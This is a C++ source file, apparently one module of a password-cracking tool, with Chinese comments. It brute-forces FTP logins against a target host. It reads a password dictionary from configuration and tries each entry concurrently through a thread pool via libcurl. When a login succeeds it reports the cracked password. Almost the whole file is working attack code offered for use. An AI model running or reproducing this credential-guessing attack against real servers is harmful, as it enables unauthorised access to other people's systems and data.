#include <iostream>
#include <stdexcept>
#include <string>
#include <curl/curl.h>
#include <project_config.h>

bool ftp_connect(const std::string& ip, int port, const std::string& username, const std::string& password) {
    // 初始化libcurl
    CURL* curl = curl_easy_init();
    if (!curl) {
        throw std::runtime_error("Failed to initialize libcurl");
    }

    // 设置FTP连接选项
    std::string url = "ftp://" + ip + ":" + std::to_string(port);
    curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
    curl_easy_setopt(curl, CURLOPT_USERNAME, username.c_str());
    curl_easy_setopt(curl, CURLOPT_PASSWORD, password.c_str());

    // 执行FTP连接
    CURLcode res = curl_easy_perform(curl);

    // 检查连接结果
    bool connected = (res == CURLE_OK);

    // 清理libcurl资源
    curl_easy_cleanup(curl);

    return connected;
}

void attack_ftp(const std::string& host, int port, const std::string& username,std::string& password) {
    bool ok = ftp_connect(host , port , username , password);
    if (ok) {
        //cout << 1239 << endl;
        attack_successful = true;
        real_password = password;
        return;
    } 
    
    //cout << "[TEST]" << range << " Passwd=" << password.c_str() << endl;
}


void run_ftp_attack_module(const std::string& host, int port, const std::string& username) {
    string hostname = host;
    int hostport = port;
    string user = username;
    
    try
    {
        /* code */
        string default_passwd_dict = get_software_config("dict");
        string default_run_thread = get_software_config("default_thread");
        string fast_mod = get_software_config("fast");
        //cout << default_passwd_dict << endl;

        fast = (fast_mod == "true");

        const char split_charset = '\n';
        vector<string> passwd_list = split(get_file_content(default_passwd_dict),split_charset);

        int thread = stoi(default_run_thread);
        FixThreadPool pool(thread);

        cout << "[INFO] START ATTACK TARGET: " << hostname.c_str() << endl;
        cout << "[Notice] 快模式下有极大的概率出现socket连接重置等无法正确登录目标的行为." << endl;
        cout << "\n" << endl;
        for (int i = 0 ; i < passwd_list.size() ; i++) {
            string pwd = passwd_list[i];
            if (attack_successful) {
                cout << "[SUCCESSFUL] 成功破解目标: " << hostname.c_str() << ";密码=" << real_password.c_str() << endl;
                break;
            }
            if (!fast) {
                std::this_thread::sleep_for(std::chrono::milliseconds(1));
            }
            pool.submit_thread(attack_ftp , hostname,hostport,user,pwd);
            range++;
        }        
        //result.get();
    }
    catch(const std::exception& e)
    {
        std::cerr << e.what() << '\n';
        std::cerr << "[ERR] Run the module 'SSH Attack' Error." << "\n";
    }
    
}